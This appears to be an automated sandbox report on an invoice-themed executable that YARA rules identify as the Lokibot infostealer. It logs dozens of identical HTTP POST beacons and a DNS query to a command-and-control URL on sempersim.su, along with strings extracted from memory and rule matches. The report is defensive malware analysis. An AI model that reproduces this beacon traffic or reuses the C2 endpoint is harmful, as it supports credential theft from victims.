Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 163Connection: close

Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: INV.2022LB0362 FORM CO (2).exe, 00000003.00000002.506023871.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://sempersim.su/gm11/fre.php
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, INV.2022LB0362 FORM CO (2).exe, 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: unknown

HTTP traffic detected: POST /gm11/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B40C7D1CContent-Length: 190Connection: close

Source: unknown

DNS traffic detected: queries for: sempersim.su

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.255040267.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6132, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
